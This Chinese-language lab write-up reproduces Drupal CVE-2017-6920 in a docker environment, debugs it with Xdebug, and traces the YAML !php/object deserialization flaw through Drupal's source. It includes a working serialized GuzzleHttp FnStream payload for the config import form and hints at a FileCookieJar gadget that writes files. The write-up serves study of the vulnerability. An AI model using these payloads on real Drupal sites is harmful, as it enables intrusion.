复制代码
- docker pull vulfocus/drupal-cve_2017_6920:latest<br>docker ps
/admin/config/development/configuration/single/import[img=720,370.1873256277401]https://www.hetianlab.com/headImg.action?news=a2bd55e8-2790-4629-85d3-346b53e4f749.png[/img]
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"[img=720,424.8171021377672]https://www.hetianlab.com/headImg.action?news=7095804c-d1b9-4b1d-86c6-f264008ddfa7.png[/img]
core\lib\Drupal\Component\Serialization\YamlPecl.php[img=720,212.68765133171914]https://www.hetianlab.com/headImg.action?news=a5f8f617-6631-4ccc-b298-050b9aba927c.png[/img]
// We never want to unserialize !php/object.就大概可以推测出是在这个地方，以!php/object 为开头时 会产生反序列化漏洞
docker run -itd -p 80:80 vulfocus/drupal-cve_2017_6920:latest
wget https://xdebug.org/files/xdebug-2.5.5.tgz
docker cp xdebug-2.5.5.tgz 30:/xdebug-2.5.5.tgz
docker exec -it 30 /bin/bash
cd /
tar xvf xdebug-2.5.5.tgz
cd xdebug-2.5.5
phpize
find / -name php-config./configure --enable-xdebug --with-php-config=/usr/bin/php-config复制代码
- `/etc/alternatives/php-config` <br>`/usr/bin/php-config` <br>`/var/lib/dpkg/alternatives/php-config`
make && make install ==xdebug 被安装到了 /usr/lib/php5/20121212/==
find / -name php.inivim /etc/php5/apache2/php.ini ==修改 php.ini 文件==复制代码
- `/etc/php5/cli/php.ini` <br>`/etc/php5/apache2/php.ini`
shift + g ==定位到最后一行==
echo "" > /var/www/html/phpinfo.php
sudo service apache2 restart
访问 http://192.168.222.129/phpinfo.php 发现 xdebug 被安装成功复制代码
- [Xdebug]<br>zend_extension=/usr/lib/php5/20121212/xdebug.so;指定Xdebug扩展文件的路径<br>xdebug.remote_enable=1 ;是否开启远程调试<br>xdebug.remote_handler=dbgp ;指定远程调试的处理协议<br>xdebug.remote_mode=req ;可以设为req或jit，req表示脚本一开始运行就连接远程客户端，jit表示脚本出错时才连接远程客户端。<br>xdebug.remote_host=192.168.222.1 ;指定远程调试的主机名（安装phpstorm的主机ip）<br>xdebug.remote_port=9001 ;指定远程调试的端口号<br>xdebug.idekey="PHPSTORM" ;指定传递给DBGp调试器处理程序的IDE Key<br>xdebug.remote_enable=on; <br><br><br><br>[Xdebug]<br>zend_extension=/usr/lib/php5/20121212/xdebug.so;<br>xdebug.remote_enable=1;<br>xdebug.remote_handler=dbgp;<br>xdebug.remote_mode=req;<br>xdebug.remote_host=192.168.222.1;<br>xdebug.remote_port=9001;<br>xdebug.idekey="PHPSTORM";
docker cp 30:/var/www/html html利用 PHPSTROM 打开项目代码
core/lib/Drupal/Component/Serialization/YamlPecl.php::decode[img=720,240.50420168067228]https://www.hetianlab.com/headImg.action?news=34d1d2a4-f94f-40e2-8287-72a8e02162d2.png[/img]
YamlPecl.php::decode[img=720,124.30834213305174]https://www.hetianlab.com/headImg.action?news=85721c48-6fce-44b1-afdc-15748e9a525c.png[/img]
core/lib/Drupal/Component/Serialization/Yaml.php::decode
Yaml::decode[img=720,390.9375]https://www.hetianlab.com/headImg.action?news=e0b1bc1d-0b55-4ad2-9adc-38b71c5fc478.png[/img]
core/modules/config/src/Form/ConfigSingleImportForm.php::validateForm
html\vendor\guzzlehttp\psr7\src\FnStream.php[img=720,386.75803900896153]https://www.hetianlab.com/headImg.action?news=01a40914-31f9-448c-bfb5-57a6488b1dce.png[/img]
[img=720,370.188679245283]https://www.hetianlab.com/headImg.action?news=b9a93164-0ad5-4559-8737-70e935fe0c8c.png[/img]复制代码
- [/code][/indent][img=720,255.7068062827225]https://www.hetianlab.com/headImg.action?news=55a66aaa-96dc-4da9-be94-950ae37bfa6a.png[/img]
- 序列化字符串加上yaml的!php/object
- [indent][code]!php/object "O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:7:"methods";a:1:{s:5:"close";s:7:"phpinfo";}s:9:"_fn_close";s:7:"phpinfo";}"
html\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php[img=720,416.88188976377955]https://www.hetianlab.com/headImg.action?news=5f1b5e97-0469-4cd8-8b0d-fbfb13caa0e8.png[/img]
| 欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) | Powered by Discuz! X3.4 |